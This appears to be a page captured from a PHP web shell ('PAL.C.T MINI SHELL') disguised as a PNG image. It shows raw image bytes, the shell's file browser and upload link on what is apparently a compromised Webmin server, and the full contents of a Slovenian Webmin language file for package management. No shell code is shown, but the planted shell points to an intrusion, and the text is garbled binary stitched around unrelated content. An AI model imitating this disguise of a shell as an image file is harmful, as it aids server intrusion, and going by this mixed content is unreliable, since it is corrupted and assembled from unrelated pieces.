php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/sl.auto

index_title=Programska oprema
index_installed=Nameščeni paketi
index_close=Zapri vse.
index_open=Odpri vse.
index_search=Poiščite paket:
index_install=Namestite nov paket
index_installmsg=Izberite lokacijo za namestitev novega paketa $1 iz ..
index_local=Iz lokalne datoteke
index_uploaded=Iz naložene datoteke
index_ftp=Iz ftp ali http URL
index_installok=Namestite
index_ident=Prepoznajte datoteko
index_identmsg=Vnesite ukaz ali ime poti datoteke za iskanje po zbirki podatkov $1.
index_identok=Išči:
index_all=Vsi paketi
index_return=kazalo modula
index_treturn=drevo paketov
index_tree=Paketno drevo
index_epackagecmd=Paketni sistem $1 zahteva ukaz $2 
index_eupdatecmd=Sistem za posodobitev $1 zahteva ukaz $2 
index_epackagecheck=Izbrani sistem za upravljanje paketov ni veljaven: $1. <br>Morda boste morali izbrati drug sistem na strani<a href='$2'> konfiguracija modula </a>.
index_eupdatecheck=Izbrani sistem za posodabljanje ni veljaven: $1. <br>Morda boste morali izbrati drug način posodobitve na strani<a href='$2'> konfiguracija modula </a>.
index_echeckpackage=Noben paketni sistem ni bil zaznan!
index_echeckupdate=Sistem za posodobitev ni bil zaznan!
index_filter=Filtriranje paketov
index_filterclear=Počisti filter
index_filtered=Prikaz <tt>$1</tt> paketov iz <tt>$2</tt>

search_title=Iskanje paketov
search_nomatch=Noben paket se ne ujema z $1 
search_none=Noben
search_desc=Opis
search_class=Razred
search_pack=Paket
search_match=Paketi, ki ustrezajo $1 
search_return=Rezultati iskanja
search_esearch=Niste vnesli ničesar za iskanje!
search_delete=Odstranite izbrane pakete
search_selall=Izberi vse
search_invert=Obrni izbor

edit_title=Uredi paket
edit_details=Podrobnosti o paketu
edit_desc=Opis
edit_pack=Paket
edit_class=Razred
edit_none=Noben
edit_ver=Različica
edit_vend=Prodajalec
edit_arch=Arhitektura
edit_inst=Nameščeno
edit_list=Seznam datotek
edit_listdesc=Pokažite vse datoteke v tem paketu in njihovo trenutno stanje preverjanja.
edit_uninst=Odstrani
edit_uninstdesc=Odstranite ta paket iz svojega sistema.
edit_return=podrobnosti o paketu
edit_egone=Paket ni več nameščen

list_title=Paketne datoteke
list_files=Datoteke za paket $1 
list_path=Pot
list_owner=Lastnik
list_group=Skupina
list_type=Vtipkajte
list_size=Velikost
list_status=Stanje
list_ok=v redu
list_view=(Pogled)
list_eview= $1 : $2 ni bilo mogoče odpreti

delete_err=Paketa $1 ni bilo mogoče izbrisati
delete_epack=Paket $1 ne obstaja
delete_title=Izbriši paket
delete_rusure=Ali ste prepričani, da želite izbrisati paket $1 ? Do $2 datoteke ($3) bodo za vedno izbrisane.
delete_rusure2=Ali ste prepričani, da želite izbrisati paket $1 ?
delete_ok=Izbriši
delete_nodeps=Prezreti odvisnosti?
delete_noscripts=Ali želite preskočiti skripte za odstranitev?
delete_efile=Neveljavna temp datoteka za brisanje
delete_purge=Očistite konfiguracijske datoteke?
delete_depstoo=Odstranjene tudi neuporabljene odvisnosti?

file_title=Podatki o datoteki
file_notfound=Podatki o $1 niso na voljo
file_path=Pot
file_type=Vtipkajte
file_perms=Dovoljenja
file_owner=Lastnik
file_group=Skupina
file_size=Velikost
file_link=Povezava do
file_pack=Paket
file_class=Razred
file_desc=Opis
file_none=Noben

install_err=Paketa ni bilo mogoče namestiti
install_elocal=Lokalna datoteka ni dana
install_elocal2='$1' ne obstaja
install_eupload=Vaš brskalnik ne podpira nalaganja datotek
install_eurl=Nerazumljiv URL '$1'
install_eupdate=Vnešen ni noben paket za namestitev
install_edir=Ni veljaven imenik $1 
install_ezip=Ni veljavna stisnjena ali gziped $1 datoteka
install_efile=Ni veljavna datoteka $1 
install_title=Namestite paket
install_header=Namestite paket
install_packs=Paketi, ki jih je treba namestiti
install_ok=Namestite

do_err=Namestitve paketa $1 ni bilo mogoče
do_title=Namestite paket
do_efailed=Namestitev ni uspela : $1 
do_efailedmsg1=Lahko poskusite znova namestiti tako, da se vrnete na prejšnjo stran in izberete različne možnosti namestitve.
do_efailedmsg2=V nasprotnem primeru <a href='$1'>kliknite tukaj, da izbrišete začasno datoteko paketa</a>, da prihranite prostor na disku.
do_success=Paket $1 je bil uspešno nameščen
do_details=Podrobnosti o paketu
do_desc=Opis
do_class=Razred
do_pack=Paket
do_ver=Različica
do_vend=Prodajalec
do_arch=Arhitektura
do_inst=Nameščeno
do_none=Noben
do_files=Paketne datoteke

pkgadd_root=Korenski imenik
pkgadd_eroot=Korenski imenik '$1' ne obstaja
pkgadd_unknown=Neznano
pkgadd_manager=Sistem V Upravitelj paketov

rpm_upgrade=Nadgraditi paket?
rpm_replacepkgs=Prepisati paket?
rpm_nodeps=Prezreti odvisnosti?
rpm_oldpackage=Zamenjati novo različico s staro?
rpm_noscripts=Izvajate namestitvene skripte?
rpm_excludedocs=Namestite dokumentacijo?
rpm_replacefiles=Prepisati datoteke?
rpm_notriggers=Ali zaženete sprožene skripte?
rpm_ignoresize=Preverite velikosti datotečnega sistema?
rpm_root=Korenski imenik
rpm_eroot=Korenski imenik '$1' ne obstaja
rpm_search=Poiščite v rpmfind.net za:
rpm_none=Paketov, ki bi ustrezali iskanju, ni bilo mogoče najti.
rpm_find=Iskanje rpmfind.net ..
rpm_findrpm=Ime datoteke paketa
rpm_finddistro=Distribucija
rpm_finddesc=Opis

bsd_unknown=Neznano
bsd_scripts=Izvajate skripte pred in po namestitvi?
bsd_force=Prisiliti namestitev, če manjkajo predpogoji?
bsd_manager=$1 Upravitelj paketov

slack_unclass=Drugo
slack_unknown=Neznano
slack_missing=Manjka
slack_root=Korenski imenik
slack_eroot=Manjkajoči ali neveljavni korenski imenik
slack_manager=Upravitelj paketov slackware
slack_edir=Manjka imenik paketov Slackware $1 

debian_unknown=Neznano
debian_depends=Prezreti težave z odvisnostjo?
debian_conflicts=Prezreti konfliktne pakete?
debian_overwrite=Ali želite prepisati datoteke iz drugih paketov?
debian_downgrade=Zamenjati novejši paket s starim?
debian_manager=Debian DPKG

log_install_package=Nameščen paket $1 
log_install_apt_l=Nameščeni paketi $1 od APT
log_install_apt=Nameščeni paketi $2 iz APT
log_install_yum_l=Nameščeni paketi $1 od YUM
log_install_yum=Nameščeni paketi $2 iz YUM
log_install_rhn_l=Nameščeni paketi $1 iz mreže Redhat
log_install_rhn=Nameščeni paketi $2 iz mreže Redhat Network
log_check_apt_l=Nadgrajeni paketi $1 od APT
log_check_apt=Nadgrajeni paketi $2 iz APT
log_delete=Odstranjen paket $1 
log_deletes_l=Odstranjeni paketi $1 
log_deletes=Odstranjeni paketi $1 
log_urpmi_update=Posodobljeni razpoložljivi paketi URPMI
log_urpmi_upgrade=Nadgrajeni nameščeni paketi URPMI
log_upgrade_yum_l=Nadgrajeni paketi $1 od YUM
log_upgrade_yum=Nadgrajeni paketi $2 iz YUM
log_check_rhn_l=Nadgrajeni paketi $1 iz mreže Redhat
log_check_rhn=Nadgrajeni paketi $2 iz omrežja Redhat

rhn_input=Paket iz mreže Redhat
rhn_find=Iskanje RHN ..
rhn_install=Namestitev paketov z ukazom $1 ..
rhn_ok=.. namestite dokončano.
rhn_failed=.. namestitev ni uspela!
rhn_title=Izberite RHN paket
rhn_pack=Paket
rhn_version=Različica
rhn_form=Redhat omrežne možnosti
rhn_header=Možnosti samodejne nadgradnje paketov
rhn_auto=Samodejno preverite, ali obstajajo posodobitve?
rhn_interval=Interval preverjanja
rhn_secs=minut
rhn_apply=Shrani in uveljavi
rhn_now=Shranite in preverite zdaj
rhn_err=Možnosti RHN ni bilo mogoče shraniti
rhn_einterval=Manjkajoč ali neveljaven interval
rhn_einterval2=Interval preverjanja mora biti najmanj 120 sekund
rhn_check=Preverjanje posodobitev
rhn_checkdesc=Preverjanje posodobljenih paketov iz omrežja Redhat z ukazom $1 ..
rhn_nocheck=.. nobeni paketi niso posodobljeni.
rhn_proxy=URL proxy strežnika za prenos
rhn_none=Onemogočeno
rhn_eproxy=Manjkajoči ali neveljavni proxy strežnik
rhn_skip=Preskočite ujemanje paketov
rhn_nonefound=Paket za posodobitev ni na voljo.
rhn_name=Redhat Network

apt_input=Paket od APT
apt_install=Namestitev paketov z ukazom $1 ..
apt_ok=.. namestite dokončano.
apt_failed=.. namestitev ni uspela!
apt_form=Nadgradite vse pakete
apt_header=Možnosti nadgradnje paketov APT
apt_update=Znova sinhronizirajte seznam paketov (<tt>posodobitev</tt>)
apt_mode=Način nadgradnje
apt_mode2=Nadgradnja distribucije (<tt>nadgradnja-dist</tt>)
apt_mode1=Običajna nadgradnja
apt_mode0=Ne nadgradite
apt_sim=Pokažite samo, katere pakete bi nadgradili
apt_apply=Nadgradi zdaj
apt_upgrade=Nadgradite vse pakete
apt_updatedesc=Ponovno sinhroniziranje seznama paketov z ukazom $1 ..
apt_updatefailed=.. resinhronizacija ni uspela!
apt_updateok=.. ponovna sinhronizacija zaključena.
apt_upgradedesc=Nadgradnja vseh paketov z ukazom $1 ..
apt_upgradedescsim=Simulacija nadgradnje vseh paketov z ukazom $1 ..
apt_upgradefailed=.. nadgradnja ni uspela!
apt_upgradeok=.. nadgradnja dokončana.
apt_search=Poiščite pakete, ki se ujemajo :
apt_find=Iskanje APT ..
apt_title=Iskanje APT
apt_name=APT
apt_repo_url=Osnovni URL skladišča
apt_repo_path=Komponente distribucijske poti
apt_repo_eurl=Manjkajoči ali neveljaven osnovni URL
apt_repo_epath=Manjka pot distribucije

yum_input=Paket od YUM
yum_install=Namestitev paketov z ukazom $1 ..
yum_ok=.. namestite dokončano.
yum_failed=.. namestitev ni uspela!
yum_find=Brskaj po YUM ..
yum_package=Paket
yum_version=Različica
yum_arch=Arhitektura
yum_source=Vir
yum_form=Nadgradite vse pakete
yum_apply=Nadgradite vse namestitvene pakete z YUM
yum_upgrade=Nadgradite vse pakete
yum_upgradedesc=Nadgradnja vseh paketov z ukazom $1 ..
yum_upgradefailed=.. nadgradnja ni uspela!
yum_upgradeok=.. nadgradnja dokončana.
yum_title=Brskaj po YUM
yum_name=YUM
yum_enable=Omogoči skladišče:
yum_none=&lt;Nihče&gt;
yum_repo_id=ID skladišča
yum_repo_name=Opis skladišča
yum_repo_url=Osnovni URL paketa
yum_repo_gpg=Datoteka s potrdilom GPG
yum_repo_none=Ni podpisano
yum_repo_eid=Manjkajoči ali neveljaven ID skladišča - dovoljene so samo črke in številke
yum_repo_eidclash=ID skladišča je že v uporabi
yum_repo_ename=Manjka ime skladišča
yum_repo_eurl=Manjkajoči ali neveljaven URL skladišča
yum_repo_egpg=Datoteka cert GPG manjka ali ne obstaja
yum_repo_efile=Datoteka skladišča že obstaja!

urpmi_name=URPMI
urpmi_input=Paket iz URPMI
urpmi_find=Prebrskaj URPMI ..
urpmi_form=Nadgradite vse pakete
urpmi_update=Posodobiti razpoložljive pakete URPMI
urpmi_upgrade=Nadgradite nameščene pakete URPMI na najnovejše različice
urpmi_title_update=Posodabljanje razpoložljivih paketov
urpmi_title_upgrade=Nadgradnja nameščenih paketov
urpmi_updatedesc=Teče ukaz $1 ..
uprmi_upgradefailed=.. ni uspelo!
urpmi_upgradeok=.. dokončana.
urpmi_install=Namestitev paketov z ukazom $1 ..
urpmi_ok=.. namestite dokončano.
urpmi_failed=.. namestitev ni uspela!

rpm_missing=Manjka
rpm_checkfail=$1 check ni uspel
rpm_md5=MD5
rpm_fsize=velikost datoteke
rpm_sym=symlink
rpm_mtime=čas spremembe
rpm_dev=napravo
rpm_user=lastništvo uporabnika
rpm_perm=dovoljenja
rpm_group=lastništvo skupine
rpm_erpm=RPM $1 ni bilo mogoče najti : $2 

soft_reg=Navadna datoteka
soft_dir=Imenik
soft_spec=Posebna datoteka
soft_sym=Simbolična povezava
soft_hard=Trda povezava
soft_edit=Urejena datoteka
soft_efunc=Funkcij za sistemski paket $1 ni bilo mogoče naložiti.
soft_euncompress=Datoteka je stisnjena, toda ukaza <tt>unpress</tt> v vašem sistemu ni bilo mogoče najti.
soft_euncmsg=Kompresije datoteke ni bilo mogoče : $1 
soft_egzip=Datoteka je gziped, vendar ukaza gzip v vašem sistemu ni bilo mogoče najti.
soft_egzmsg=Datoteke gunzip ni bilo mogoče : $1 

aix_unknown=Neznano
aix_device=INPUT naprava / imenik programske opreme
aix_software=PROGRAMSKA OPREMA za namestitev
aix_preview=PREPREČITE samo? (operacija namestitve se NE bo zgodila)
aix_commit=COMMIT posodobitve programske opreme?
aix_save=Ali shranite zamenjane datoteke?
aix_auto=SAMOSTOJNO namestite potrebno programsko opremo?
aix_extend=EXTEND datotečne sisteme, če potrebujete prostor?
aix_overwrite=PREVERITE enake ali novejše različice?
aix_verify=VERIFY namestite in preverite velikosti datotek?
aix_include=Ali želite vključiti ustrezne naloge datotek LANGUAGE?
aix_detail=PODROBNI izhod?
aix_process=Obdelate več zvezkov?
aix_accept=SPREJETE nove licenčne pogodbe?
aix_license=Predogled novih LICENSE sporazumov?
aix_clean=Napaka namestitve čiščenja?
aix_manager=AIX Package Manager

emerge_input=Iz Portage skladišča
emerge_find=Iskanje ..
emerge_install=Namestitev paketa z ukazom $1 ..
emerge_failed=.. namestitev ni uspela!
emerge_ok=.. namestite dokončano.
emerge_search=Poiščite paket:
emerge_pack=Paket
emerge_class=Razred
emerge_version=Različica
emerge_desc=Opis
emerge_none=Noben paket ne ustreza vašemu iskanju.
emerge_noreplace=Zamenjati obstoječe pakete?
emerge_onlydeps=Namestite samo odvisnosti?
emerge_title=Portage za iskanje
emerge_name=Portage

cygwin_fmissing=Datoteka manjka
cygwin_lmissing=Datoteka, do katere točke povezave manjkajo
cygwin_estat=Ni uspelo stat datoteke: $1 
cygwin_elread=Simlink ni bilo mogoče prebrati: $1 
cygwin_elstat=Simlink povezave ni uspelo: $1 
cygwin_badpostscript=Opozorilo: zdi se, da ta skript ni bil zagnan
cygwin_pkgexists=Paket $1 že obstaja.
cygwin_warnuse=Opozorilo: To ni uradni vmesnik za upravljanje programske opreme Cygwin. Uporabljajte na lastno odgovornost.
cygwin_edb=Manjka baza podatkov paketov Cygwin $1 

deletes_err=Paket ni bilo mogoče izbrisati
deletes_enone=Izbran ni noben paket
deletes_title=Brisanje paketov
deletes_desc=Odstranjevanje paketov $1 ..
deletes_failed1=Odstranjevanje $1 : $2 ni bilo mogoče
deletes_success1=$1 uspešno odstranjeno
deletes_failed2=Odstranjevanje ni uspelo : $1 
deletes_success2=.. deinstalacija dokončana.
deletes_rusure=Ali ste prepričani, da želite odstraniti pakete $1 ?
deletes_ok=Izbrišite jih vse

csw_input=Paket od CSW
csw_install=Namestitev paketov z ukazom $1 ..
csw_ok=.. namestite dokončano.
csw_failed=.. namestitev ni uspela!
csw_already=.. že nameščen.
csw_retry=.. spet poskusi z novimi odvisnostmi.
csw_find=Prebrskaj CSW ..
csw_package=Paket
csw_version=Različica
csw_title=Prebrskaj CSW
csw_name=CSW
csw_form=Nadgradite pakete
csw_upgrade=Nadgradite vse nameščene pakete
csw_updatedesc=Nadgradnja vseh nameščenih paketov z ukazom $1 ..

missing_msg=Paket $1 lahko Webmin samodejno namesti s pomočjo $2.
missing_now=Namestiti zdaj

find_title=Poiščite paket
find_search=Poiščite pakete, ki se ujemajo:
find_name=Ime
find_version=Različica
find_desc=Opis
find_none=Paketov, ki bi ustrezali iskanju, ni bilo mogoče najti.

msi_users=Naj bo nova aplikacija na voljo
msi_users0=Nihče
msi_users1=Trenutni uporabnik
msi_users2=Vsi uporabniki
msi_missing=Ne obstaja
msi_size=Napačna velikost

hpux_create_target_path=Ustvari ciljno pot?
hpux_mount_all_filesystems=Priklopite vse datotečne sisteme?
hpux_reinstall=Znova namestite?
hpux_reinstall_files=Znova namestite datoteke?
hpux_reinstall_files_use_cksum=Znova namestite datoteke s preverjanjem?
hpux_allow_multiple_versions=Dovoli več različic?
hpux_defer_configure=Odloži konfiguracijo?
hpux_autorecover_product=Izdelek Autorecover?
hpux_allow_downdate=Dovoli spodbudo?
hpux_allow_incompatible=Dovoli nezdružljivo?
hpux_autoselect_dependencies=Odvisnosti od samodejnega izbiranja?
hpux_enforce_dependencies=Izboljšati odvisnosti?
hpux_enforce_scripts=Izvajati skripte?
hpux_enforce_dsa=Izvajati analizo prostora na disku?
hpux_root=Korenski imenik

ports_install=Namestitev vrat FreeBSD $1 ..
ports_failed=.. nekatera vrata niso uspela
ports_ok=.. namestite dokončano
ports_input=Paket iz pristanišč
ports_find=Iskanje vrat
ports_name=Pristanišča FreeBSD
ports_form=Posodobite bazo portov
ports_apply=Prenesite najnovejši posnetek
ports_upgrade=Nalaganje posnetkov posnetek
ports_running=Teče ukaz $1 ..

pkg_install=Namestitev paketov FreeBSD $1 ..
pkg_failed=.. nekaj paketov ni uspelo
pkg_ok=.. namestite dokončano
pkg_find=Išči pkgng
pkg_input=Paket iz pkgng

pkgsrc_install=Namestitev paketov pkgsrc $1 ..
pkgsrc_failed=.. nekaj paketov ni uspelo
pkgsrc_ok=.. namestite dokončano
pkgsrc_find=Išči pkgng
pkgsrc_input=Paket iz pkgsrc-a

log_IPKG_update=Posodobljena baza podatkov IPKG
log_IPKG_upgrade=Nadgrajeni nameščeni paketi IPKG

IPKG_name=IPKG
IPKG_input=Paket iz IPKG
IPKG_find=Brskaj po IPKG ..
IPKG_form=Upravljajte pakete IPKG
IPKG_update=Posodobite bazo podatkov paketov IPKG
IPKG_upgrade=Nadgradite nameščene pakete IPKG
IPKG_title_update=Posodobitev podatkovne baze IPKG
IPKG_title_upgrade=Nadgradnja nameščenih paketov
IPKG_updatedesc=Teče ukaz $1 ..
IPKG_upgradefailed=.. ni uspelo!
IPKG_upgradeok=.. dokončana.
IPKG_install=Namestitev paketov z ukazom $1 ..
IPKG_ok=.. namestite dokončano.
IPKG_failed=.. namestitev ni uspela!
IPKG_index_tree=Upravljajte pakete IPKG
IPKG_install_package=Namestite
IPKG_install_packagedesc=Namestite ta paket v sistem
IPKG_noupgrade=Nič za nadgradnjo
IPKG-edit_title=Upravljajte paket IPKG
IPKG_update_avail=Posodobljena razpoložljiva:
IPKG_not_installed=Paket ni nameščen
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`